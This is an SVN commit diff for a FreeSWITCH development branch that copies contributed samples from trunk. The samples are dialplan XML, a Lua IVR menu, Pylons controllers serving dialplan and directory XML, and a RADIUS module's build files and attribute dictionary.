 AM_MAKEFLAGS='"OUR_MODULES=$(OUR_MODS)" "OUR_CLEAN_MODULES=$(OUR_CLEAN_MODS)" "OUR_INSTALL_MODULES=$(OUR_INSTALL_MODS)" "OUR_UNINSTALL_MODULES=$(OUR_UNINSTALL_MODS)" "OUR_DISABLED_MODULES=$(OUR_DISABLED_MODS)" "OUR_DISABLED_CLEAN_MODULES=$(OUR_DISABLED_CLEAN_MODS)" "OUR_DISABLED_INSTALL_MODULES=$(OUR_DISABLED_INSTALL_MODS)" "OUR_DISABLED_UNINSTALL_MODULES=$(OUR_DISABLED_UNINSTALL_MODS)" `test -n "$(VERBOSE)" || echo -s`'
 #AM_MAKEFLAGS='`test -n "$(VERBOSE)" || echo -s`'
@@ -672,7 +812,6 @@
 # Run configure in all the subdirs
 AC_CONFIG_SUBDIRS(libs/srtp)
 AC_CONFIG_SUBDIRS(libs/sqlite)
-AC_CONFIG_SUBDIRS(libs/libresample)
 if test "$enable_core_libedit_support" = "yes" ; then
     AC_CONFIG_SUBDIRS(libs/libedit)
 fi
@@ -681,7 +820,7 @@
 AC_CONFIG_SUBDIRS(libs/apr)
 AC_CONFIG_SUBDIRS(libs/apr-util)
 AC_CONFIG_SUBDIRS(libs/voipcodecs)
-AC_CONFIG_SUBDIRS(libs/codec/ilbc)
+AC_CONFIG_SUBDIRS(libs/ilbc)
 AC_CONFIG_SUBDIRS(libs/curl)
 AC_CONFIG_SUBDIRS(libs/iksemel)
 AC_CONFIG_SUBDIRS(libs/js/nsprpub)
@@ -692,6 +831,8 @@
 AC_CONFIG_SUBDIRS(libs/speex)
 AC_CONFIG_SUBDIRS(libs/portaudio)
 AC_CONFIG_SUBDIRS(libs/openzap)
-AC_CHECK_LIB([tiff], [TIFFOpen], AC_CONFIG_SUBDIRS(libs/spandsp), , -lm)
+AC_CONFIG_SUBDIRS(libs/unimrcp)
+AC_CONFIG_SUBDIRS(libs/tiff-3.8.2)
+AC_CONFIG_SUBDIRS(libs/spandsp)
 
 AC_OUTPUT

Copied: freeswitch/branches/seven/contrib (from rev 14471, freeswitch/trunk/contrib)

Property changes: freeswitch/branches/seven/contrib


Name: svn:mergeinfo
   + 

Copied: freeswitch/branches/seven/contrib/3c (from rev 14471, freeswitch/trunk/contrib/3c)

Copied: freeswitch/branches/seven/contrib/DelphiWorld (from rev 14471, freeswitch/trunk/contrib/DelphiWorld)

Deleted: freeswitch/branches/seven/contrib/DelphiWorld/skypiax_originator.xml

Copied: freeswitch/branches/seven/contrib/DelphiWorld/skypiax_originator.xml (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/skypiax_originator.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/DelphiWorld/skypiax_originator.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/DelphiWorld/skypiax_originator.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<!-- skype_iax originator -->
+<!-- this extention will request a skype speed dial number and bridge it unstid of adding some extentions to your dialplan -->
+<!-- just place it in /prefix/conf/dialplan/default and call 2020 -->
+<include>
+<extension name="skypiax_originator">
+  <condition field="destination_number" expression="^(2020)$">
+    <action application="play_and_get_digits" data="2 5 3 7000 # conference/8000/conf-pin.wav /invalid.wav dest"/>
+<action application="sleep" data="3000"/>
+<action application="set" data="ringback=$${us-ring}"/>
+<action application="bridge" data="{absolute_codec_string=g722}skypiax/skypiax1/${dest}"/>
+  </condition>
+</extension>
+</include>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/DelphiWorld/time.xml

Copied: freeswitch/branches/seven/contrib/DelphiWorld/time.xml (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/time.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/DelphiWorld/time.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/DelphiWorld/time.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+<!-- this is a small dialplan extension that speak time if you call 2910 -->
+<include>
+    <extension name="SpeakTime">
+      <condition field="destination_number" expression="^2910$">
+<action application="set" data="actime=${strftime(%H:%M)}"/>
+<action application="set" data="tts_engine=flite"/>
+<action application="set" data="tts_voice=slt"/>                      
+        <action application="speak" data="Is it +${actime}"/> 
+</condition>
+    </extension>
+</include>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/welcome_ivr)

Deleted: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/readme.txt

Copied: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/readme.txt (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/welcome_ivr/readme.txt) (0 => 14472)


--- freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/readme.txt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/readme.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+Simple LUA IVR Sample
+
+this is a small IVR in lua using the flite TTS Engine
+modules required:
+mod_flite
+and mod_lua offcourss
+see me in the IRC Channel if any error or suggestion
+thanks to raulfragoso for the first time!
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.lua

Copied: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.lua (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/welcome_ivr/welcome.lua) (0 => 14472)


--- freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.lua	                        (rev 0)
+++ freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.lua	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+session:answer(); 
+while (session:ready() == true) do 
+session:setAutoHangup(false)
+session:set_tts_parms("flite", "kal");
+session:speak("Welcome. Welcome to the VoIp World!. this is a Blind Users Programing Community. powered by Freeswitch, the free / ultimate PBX. thank to anthm!");
+session:sleep(100);
+session:speak("please select an Action.");
+session:sleep(100);
+session:speak("to call the conference, press 1");
+session:sleep(100);
+session:speak("to call Freeswitch IVR, press 2");
+session:sleep(100);
+session:speak("to call Voice Mail, press 3");
+session:sleep(100);
+session:speak("for Music on hold, press 4");
+session:sleep(100);
+session:speak("to call me, press 0");
+session:sleep(3000);
+digits = session:getDigits(1, "", 3000);
+if (digits == "1")  then
+  session:execute("transfer","3001");
+end
+if (digits == "2")  then
+  session:execute("transfer","5000");
+end
+if (digits == "3")  then
+  session:execute("transfer","4000");
+end
+if (digits == "4")  then
+  session:execute("transfer","9999");
+end
+if (digits == "0")  then
+  session:execute("transfer","voipaware@sip.voipuser.org");
+end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.xml

Copied: freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.xml (from rev 14471, freeswitch/trunk/contrib/DelphiWorld/welcome_ivr/welcome.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/DelphiWorld/welcome_ivr/welcome.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+<include>
+  <extension name="welcome_ivr">
+     <condition field="destination_number" expression="^2910$">
+<action application="lua" data="welcome.lua"/> 
+      </condition>
+    </extension>
+</include>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/Phil (from rev 14471, freeswitch/trunk/contrib/Phil)

Copied: freeswitch/branches/seven/contrib/Phil/pylons (from rev 14471, freeswitch/trunk/contrib/Phil/pylons)

Deleted: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchcdr.py

Copied: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchcdr.py (from rev 14471, freeswitch/trunk/contrib/Phil/pylons/freeswitchcdr.py) (0 => 14472)


--- freeswitch/branches/seven/contrib/Phil/pylons/freeswitchcdr.py	                        (rev 0)
+++ freeswitch/branches/seven/contrib/Phil/pylons/freeswitchcdr.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+import logging
+
+from freeswitch.lib.base import *
+
+
+import xml
+from xml.sax.handler import ContentHandler 
+
+
+log = logging.getLogger(__name__)
+
+
+class FreeswitchcdrController(BaseController):
+    
+
+    # simple method to display the uuid of a call that got terminated
+    def cdr(self):
+        
+        next = 0
+        uuid = []
+              
+        try:
+            cdr = request.POST.getone('cdr')
+            # needs to be casted to a string as the unicode string can't be parsed correctly by the sax parser
+            cdr = str(cdr)
+            
+            cdrHandler = CDR_XML_Handler()
+            xml.sax.parseString(cdr, cdrHandler) 
+            uuid = cdrHandler.uuid
+            print uuid
+
+            
+        except KeyError, e:
+            print e
+            return
+
+        
+        
+        
+class CDR_XML_Handler(ContentHandler):    
+
+    def __init__(self):
+        self.uuid = []
+        self.uuidString = ""
+        self.isUuidElement = 0
+        
+    def startElement(self, name, attrs):
+
+        if name == 'uuid':
+            self.isUuidElement = 1
+            uuidString = ""
+    
+    def characters(self, ch):
+        if self.isUuidElement == 1:
+            self.uuidString += ch
+
+    def endElement(self, name):
+        if name == 'uuid':
+            self.isUuidElement= 0 
+            self.uuid.append(self.uuidString)

Deleted: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdialplan.py

Copied: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdialplan.py (from rev 14471, freeswitch/trunk/contrib/Phil/pylons/freeswitchdialplan.py) (0 => 14472)


--- freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdialplan.py	                        (rev 0)
+++ freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdialplan.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+import logging
+
+from freeswitch.lib.base import *
+
+
+
+log = logging.getLogger(__name__)
+
+class FreeswitchdialplanController(BaseController):
+    
+
+    
+
+    # needs to be checked what's the best return string when an error occures
+    error = '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+    '''<document type="freeswitch/xml">\n'''\
+    '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+    '''</section>\n'''\
+    '''</document>'''
+
+
+    
+    # the name forward is a bit confusing as it is actually a FS bridge
+    # the next two methods allow you to forward a single call to n number of outbound calls
+    def forwardCreate(self, number, gateway, forwardString):
+        if forwardString != '':
+            forwardString = forwardString + ','
+            
+        return forwardString + '''sofia/gateway/%s/%s''' % (gateway, number)
+        
+        
+        
+    def forwardFinishCreate(self, didNumber, forwardString):
+        return '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+        '''<context name="public">\n'''\
+        '''<extension name="extension%s">\n'''\
+        '''<condition field="destination_number" expression="^(%s)$">\n'''\
+        '''<action application="bridge" data="%s"/>\n'''\
+        '''</condition>\n'''\
+        '''</extension>\n'''\
+        '''</context>\n'''\
+        '''</section>\n'''\
+        '''</document>\n''' % (didNumber, didNumber, forwardString)
+    
+    
+    # bridge one inbound call with a single outbound call
+    def bridge(self, didNumber, outboundNumber, gateway):
+        
+        return '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+        '''<context name="public">\n'''\
+        '''<extension name="extension%s">\n'''\
+        '''<condition field="destination_number" expression="^(%s)$">\n'''\
+        '''<action application="bridge" data="sofia/gateway/%s/%s"/>\n'''\
+        '''</condition>\n'''\
+        '''</extension>\n'''\
+        '''</context>\n'''\
+        '''</section>\n'''\
+        '''</document>\n''' % (didNumber, didNumber, gateway, outboundNumber)
+
+
+      
+    def voicemail(self, didNumber, mailbox_id):
+        
+        return '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+        '''<context name="public">\n'''\
+        '''<extension name="voicemail%s">\n'''\
+        '''<condition field="destination_number" expression="^(%s)$">\n'''\
+        '''<action application="voicemail" data="default $${domain} %s"/>\n'''\
+        '''</condition>\n'''\
+        '''</extension>\n'''\
+        '''</context>\n'''\
+        '''</section>\n'''\
+        '''</document>''' % (didNumber, didNumber, mailbox_id)
+        
+    def checkVoicemail(self, didNumber, mailbox_id):
+        
+        return '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+        '''<context name="public">\n'''\
+        '''<extension name="voicemail%s">\n'''\
+        '''<condition field="destination_number" expression="^(%s)$">\n'''\
+        '''<action application="voicemail" data="check default $${domain} %s"/>\n'''\
+        '''</condition>\n'''\
+        '''</extension>\n'''\
+        '''</context>\n'''\
+        '''</section>\n'''\
+        '''</document>''' % (didNumber, didNumber, mailbox_id)
+
+
+    # if you hungup the call before it has been answered a busy is issued
+    def busy(self, didNumber):
+        return '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+        '''<context name="public">\n'''\
+        '''<extension name="extension%s">\n'''\
+        '''<condition field="destination_number" expression="^(%s)$">\n'''\
+        '''<action application="hungup" data=""/>\n'''\
+        '''</condition>\n'''\
+        '''</extension>\n'''\
+        '''</context>\n'''\
+        '''</section>\n'''\
+        '''</document>\n''' % (destinationNumber, didNumber)
+
+
+
+
+    def dialplan(self):
+        
+        action = "voicemail"
+        
+        # replace with your sofia gateway
+        gateway = 'sipgate2'
+        
+        # replace with phone numbers
+        forwards = ['the did number extension - gateway', 'the number to forward to']
+        
+        # that is the username of the mailbox
+        mailbox_id = 'test'
+        
+        
+        didNumber = str(request.POST.getone('Caller-Destination-Number'))
+        
+
+        # ------------------------------------------------------------ Forward -------------------------------------------------------
+        # if the action is forward, we forward to all numbers in forwards
+        if action == "forward":
+            
+            forwardString = ''
+            for f in forwards:
+                forwardString = self.forwardCreate(f, gateway, forwardString)
+
+            return self.forwardFinishCreate(didNumber, forwardString)
+
+
+
+        elif action == "checkVoicemail":   
+                
+            return self.checkVoicemail(didNumber, mailbox_id)
+            
+
+        
+        elif action == "voicemail":   
+                
+            return self.voicemail(didNumber, mailbox_id)
+        
+        

Deleted: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdirectory.py

Copied: freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdirectory.py (from rev 14471, freeswitch/trunk/contrib/Phil/pylons/freeswitchdirectory.py) (0 => 14472)


--- freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdirectory.py	                        (rev 0)
+++ freeswitch/branches/seven/contrib/Phil/pylons/freeswitchdirectory.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+import logging
+
+from freeswitch.lib.base import *
+
+
+
+
+log = logging.getLogger(__name__)
+
+class FreeswitchdirectoryController(BaseController):
+    
+    bootReply = '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+    '''<document type="freeswitch/xml">\n'''\
+    '''<section name="directory" description="arbitrary stuff here">\n'''\
+    '''</section>\n'''\
+    '''</document>'''
+    
+    error = '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+    '''<document type="freeswitch/xml">\n'''\
+    '''<section name="dialplan" description="RE Dial Plan For FreeSwitch">\n'''\
+    '''</section>\n'''\
+    '''</document>'''
+    
+    def user(self, didNumber, domain, mailbox_id):
+        test = '''<?xml version="1.0" encoding="UTF-8" standalone="no"?>\n'''\
+        '''<document type="freeswitch/xml">\n'''\
+        '''<section name="directory" description="arbitrary stuff here">\n'''\
+        '''<domain name="%s">\n'''\
+        '''<groups>\n'''\
+        '''<group name="default">\n'''\
+        '''<users>\n'''\
+        '''<user id="%s" mailbox="%s">\n'''\
+        '''<params>\n'''\
+        '''<param name="password" value="1234"/>\n'''\
+        '''<param name="vm-password" value="0000"/>\n'''\
+        '''</params>\n'''\
+        '''<variables>\n'''\
+        '''<variable name="accountcode" value="%s"/>\n'''\
+        '''<variable name="user_context" value="default"/>\n'''\
+        '''<variable name="vm_extension" value="%s"/>\n'''\
+        '''<variable name="max_calls" value="1"/>\n'''\
+        '''<variable name="fail_over" value="415"/>\n'''\
+        '''<variable name="cringback" value="us-ring"/>\n'''\
+        '''</variables>\n'''\
+        '''</user>\n'''\
+        '''</users>\n'''\
+        '''</group>\n'''\
+        '''</groups>\n'''\
+        '''</domain>\n'''\
+        '''</section>\n'''\
+        '''</document>''' % (domain, mailbox_id, mailbox_id, mailbox_id, mailbox_id)
+        
+        return test
+    
+    
+    # a very simple reply that creates a user for the voicemail.
+    def directory(self):
+        
+        try:
+            return self.user(request.POST.getone('mailbox'), request.POST.getone('domain'), request.POST.getone('user'))
+        
+        except KeyError, e:
+            pass
+        
+        return self.bootReply
+
+

Copied: freeswitch/branches/seven/contrib/clubpetey (from rev 14471, freeswitch/trunk/contrib/clubpetey)

Copied: freeswitch/branches/seven/contrib/cparker (from rev 14471, freeswitch/trunk/contrib/cparker)

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius)

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/Makefile

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/Makefile (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+RADCLIENT_VERSION=1.1.6
+RADCLIENT=freeradius-client-$(RADCLIENT_VERSION)
+RADCLIENT_DIR=$(switch_srcdir)/libs/$(RADCLIENT)
+RADCLIENT_LIBDIR=$(RADCLIENT_DIR)/lib
+RADCLIENT_LA=${RADCLIENT_LIBDIR}/libfreeradius-client.la
+
+LOCAL_CFLAGS=-I$(RADCLIENT_DIR)/include
+LOCAL_LIBADD=$(RADCLIENT_LA)
+
+BASE=../../..
+include $(BASE)/build/modmake.rules
+
+$(RADCLIENT_DIR):
+	$(GETLIB) $(RADCLIENT).tar.gz
+
+$(RADCLIENT_DIR)/Makefile: $(RADCLIENT_DIR)
+	cd $(RADCLIENT_DIR) && ./configure --disable-shared --with-pic
+	$(TOUCH_TARGET)
+
+$(RADCLIENT_LA): $(RADCLIENT_DIR)/Makefile
+	cd $(RADCLIENT_DIR) && CFLAGS=$(CFLAGS) $(MAKE)
+	$(TOUCH_TARGET)
+
+

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/README

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/README (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+THIS MODULE IS HIGHLY EXPERIMENTAL.  USE MAY RESULT IN HAIR LOSS, DISMEMBERMENT,
+OR EVEN DEATH.
+
+
+That out of the way, it is a way to provide a RADIUS interface to perform
+authentication and authorization functionality to FreeSWITCH.
+
+It uses the FreeRADIUS Client Library, which is part of the FreeRADIUS project.
+The version used to create/test this library is the tagged release 1.1.6.
+
+In order to use this module, you will need to edit the top level 'configure.in'
+as well as 'modules.conf'.
+
+More information/details can be found on the wiki:
+
+     http://wiki.freeswitch.org/wiki/Mod_xml_radius
+
+Questions/comments/suggestions, please find 's3g_fault' on IRC.
+
+

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf)

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/README

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/README (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+Install/copy these into /usr/local/freeswitch/conf/autoload_configs

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/dictionary

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/dictionary (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/conf/dictionary) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/dictionary	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/conf/dictionary	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,381 @@
+#
+# Updated 97/06/13 to livingston-radius-2.01 miquels@cistron.nl
+#
+#	This file contains dictionary translations for parsing
+#	requests and generating responses.  All transactions are
+#	composed of Attribute/Value Pairs.  The value of each attribute
+#	is specified as one of 4 data types.  Valid data types are:
+#
+#	string - 0-253 octets
+#	ipaddr - 4 octets in network byte order
+#	integer - 32 bit value in big endian order (high byte first)
+#	date - 32 bit value in big endian order - seconds since
+#					00:00:00 GMT,  Jan.  1,  1970
+#
+#	Enumerated values are stored in the user file with dictionary
+#	VALUE translations for easy administration.
+#
+#	Example:
+#
+#	ATTRIBUTE	  VALUE
+#	---------------   -----
+#	Framed-Protocol = PPP
+#	7		= 1	(integer encoding)
+#
+
+#
+#	Following are the proper new names. Use these.
+#
+ATTRIBUTE	User-Name		1	string
+ATTRIBUTE	Password		2	string
+ATTRIBUTE	CHAP-Password		3	string
+ATTRIBUTE	NAS-IP-Address		4	ipaddr
+ATTRIBUTE	NAS-Port-Id		5	integer
+ATTRIBUTE	Service-Type		6	integer
+ATTRIBUTE	Framed-Protocol		7	integer
+ATTRIBUTE	Framed-IP-Address	8	ipaddr
+ATTRIBUTE	Framed-IP-Netmask	9	ipaddr
+ATTRIBUTE	Framed-Routing		10	integer
+ATTRIBUTE	Filter-Id		11	string
+ATTRIBUTE	Framed-MTU		12	integer
+ATTRIBUTE	Framed-Compression	13	integer
+ATTRIBUTE	Login-IP-Host		14	ipaddr
+ATTRIBUTE	Login-Service		15	integer
+ATTRIBUTE	Login-TCP-Port		16	integer
+ATTRIBUTE	Reply-Message		18	string
+ATTRIBUTE	Callback-Number		19	string
+ATTRIBUTE	Callback-Id		20	string
+ATTRIBUTE	Framed-Route		22	string
+ATTRIBUTE	Framed-IPX-Network	23	ipaddr
+ATTRIBUTE	State			24	string
+ATTRIBUTE	Class			25	string
+ATTRIBUTE	Vendor-Specific		26	string
+ATTRIBUTE	Session-Timeout		27	integer
+ATTRIBUTE	Idle-Timeout		28	integer
+ATTRIBUTE	Termination-Action	29	integer
+ATTRIBUTE	Called-Station-Id	30	string
+ATTRIBUTE	Calling-Station-Id	31	string
+ATTRIBUTE	NAS-Identifier		32	string
+ATTRIBUTE	Proxy-State		33	string
+ATTRIBUTE	Login-LAT-Service	34	string
+ATTRIBUTE	Login-LAT-Node		35	string
+ATTRIBUTE	Login-LAT-Group		36	string
+ATTRIBUTE	Framed-AppleTalk-Link	37	integer
+ATTRIBUTE	Framed-AppleTalk-Network	38	integer
+ATTRIBUTE	Framed-AppleTalk-Zone	39	string
+ATTRIBUTE	Acct-Status-Type	40	integer
+ATTRIBUTE	Acct-Delay-Time		41	integer
+ATTRIBUTE	Acct-Input-Octets	42	integer
+ATTRIBUTE	Acct-Output-Octets	43	integer
+ATTRIBUTE	Acct-Session-Id		44	string
+ATTRIBUTE	Acct-Authentic		45	integer
+ATTRIBUTE	Acct-Session-Time	46	integer
+ATTRIBUTE	Acct-Input-Packets	47	integer
+ATTRIBUTE	Acct-Output-Packets	48	integer
+ATTRIBUTE	Acct-Terminate-Cause	49	integer
+ATTRIBUTE	Acct-Multi-Session-Id	50	string
+ATTRIBUTE	Acct-Link-Count		51	integer
+ATTRIBUTE	Event-Timestamp		55	integer
+ATTRIBUTE	CHAP-Challenge		60	string
+ATTRIBUTE	NAS-Port-Type		61	integer
+ATTRIBUTE	Port-Limit		62	integer
+ATTRIBUTE	Login-LAT-Port		63	integer
+ATTRIBUTE	Connect-Info		77	string
+
+#
+#	RFC3162 IPv6 attributes
+#
+ATTRIBUTE	NAS-IPv6-Address	95	string
+ATTRIBUTE	Framed-Interface-Id	96	string
+ATTRIBUTE	Framed-IPv6-Prefix	97	string
+ATTRIBUTE	Login-IPv6-Host		98	string
+ATTRIBUTE	Framed-IPv6-Route	99	string
+ATTRIBUTE	Framed-IPv6-Pool	100	string
+
+ATTRIBUTE       Digest-Response         206     string
+ATTRIBUTE       Digest-Attributes       207     string  # stupid format
+
+#define PW_DIGEST_REALM                 1063    /* string */
+#define PW_DIGEST_NONCE                 1064    /* string */
+#define PW_DIGEST_METHOD                1065    /* string */
+#define PW_DIGEST_URI                   1066    /* string */
+#define PW_DIGEST_QOP                   1067    /* string */
+#define PW_DIGEST_ALGORITHM             1068    /* string */
+#define PW_DIGEST_BODY_DIGEST           1069    /* string */
+#define PW_DIGEST_CNONCE                1070    /* string */
+#define PW_DIGEST_NONCE_COUNT           1071    /* string */
+#define PW_DIGEST_USER_NAME             1072    /* string */
+
+ATTRIBUTE	Digest-Realm		1063	string
+ATTRIBUTE	Digest-Nonce		1064	string
+ATTRIBUTE	Digest-Method		1065	string
+ATTRIBUTE	Digest-URI		1066	string
+ATTRIBUTE	Digest-QOP		1067	string
+ATTRIBUTE	Digest-Algorithm	1068	string
+ATTRIBUTE	Digest-Body-Digest	1069	string
+ATTRIBUTE	Digest-CNonce		1070	string
+ATTRIBUTE	Digest-Nonce-Count	1071	string
+ATTRIBUTE	Digest-User-Name	1072	string
+
+#
+#	Experimental Non Protocol Attributes used by Cistron-Radiusd
+#
+ATTRIBUTE	Huntgroup-Name		221	string
+ATTRIBUTE	User-Category		1029	string
+ATTRIBUTE	Group-Name		1030	string
+ATTRIBUTE	Simultaneous-Use	1034	integer
+ATTRIBUTE	Strip-User-Name		1035	integer
+ATTRIBUTE	Fall-Through		1036	integer
+ATTRIBUTE	Add-Port-To-IP-Address	1037	integer
+ATTRIBUTE	Exec-Program		1038	string
+ATTRIBUTE	Exec-Program-Wait	1039	string
+ATTRIBUTE	Hint			1040	string
+
+#
+#	Non-Protocol Attributes
+#	These attributes are used internally by the server
+#
+ATTRIBUTE	Expiration		  21	date
+ATTRIBUTE	Auth-Type		1000	integer
+ATTRIBUTE	Menu			1001	string
+ATTRIBUTE	Termination-Menu	1002	string
+ATTRIBUTE	Prefix			1003	string
+ATTRIBUTE	Suffix			1004	string
+ATTRIBUTE	Group			1005	string
+ATTRIBUTE	Crypt-Password		1006	string
+ATTRIBUTE	Connect-Rate		1007	integer
+
+#
+#	Integer Translations
+#
+
+#	User Types
+
+VALUE		Service-Type		Login-User		1
+VALUE		Service-Type		Framed-User		2
+VALUE		Service-Type		Callback-Login-User	3
+VALUE		Service-Type		Callback-Framed-User	4
+VALUE		Service-Type		Outbound-User		5
+VALUE		Service-Type		Administrative-User	6
+VALUE		Service-Type		NAS-Prompt-User		7
+
+#	Framed Protocols
+
+VALUE		Framed-Protocol		PPP			1
+VALUE		Framed-Protocol		SLIP			2
+
+#	Framed Routing Values
+
+VALUE		Framed-Routing		None			0
+VALUE		Framed-Routing		Broadcast		1
+VALUE		Framed-Routing		Listen			2
+VALUE		Framed-Routing		Broadcast-Listen	3
+
+#	Framed Compression Types
+
+VALUE		Framed-Compression	None			0
+VALUE		Framed-Compression	Van-Jacobson-TCP-IP	1
+
+#	Login Services
+
+VALUE		Login-Service		Telnet			0
+VALUE		Login-Service		Rlogin			1
+VALUE		Login-Service		TCP-Clear		2
+VALUE		Login-Service		PortMaster		3
+
+#	Status Types
+
+VALUE		Acct-Status-Type	Start			1
+VALUE		Acct-Status-Type	Stop			2
+VALUE		Acct-Status-Type	Alive			3
+VALUE		Acct-Status-Type	Accounting-On		7
+VALUE		Acct-Status-Type	Accounting-Off		8
+
+#	Authentication Types
+
+VALUE		Acct-Authentic		RADIUS			1
+VALUE		Acct-Authentic		Local			2
+VALUE		Acct-Authentic		PowerLink128		100
+
+#	Termination Options
+
+VALUE		Termination-Action	Default			0
+VALUE		Termination-Action	RADIUS-Request		1
+
+#	NAS Port Types, available in 3.3.1 and later
+
+VALUE		NAS-Port-Type		Async			0
+VALUE		NAS-Port-Type		Sync			1
+VALUE		NAS-Port-Type		ISDN			2
+VALUE		NAS-Port-Type		ISDN-V120		3
+VALUE		NAS-Port-Type		ISDN-V110		4
+
+#	Acct Terminate Causes, available in 3.3.2 and later
+
+VALUE           Acct-Terminate-Cause    User-Request            1
+VALUE           Acct-Terminate-Cause    Lost-Carrier            2
+VALUE           Acct-Terminate-Cause    Lost-Service            3
+VALUE           Acct-Terminate-Cause    Idle-Timeout            4
+VALUE           Acct-Terminate-Cause    Session-Timeout         5
+VALUE           Acct-Terminate-Cause    Admin-Reset             6
+VALUE           Acct-Terminate-Cause    Admin-Reboot            7
+VALUE           Acct-Terminate-Cause    Port-Error              8
+VALUE           Acct-Terminate-Cause    NAS-Error               9
+VALUE           Acct-Terminate-Cause    NAS-Request             10
+VALUE           Acct-Terminate-Cause    NAS-Reboot              11
+VALUE           Acct-Terminate-Cause    Port-Unneeded           12
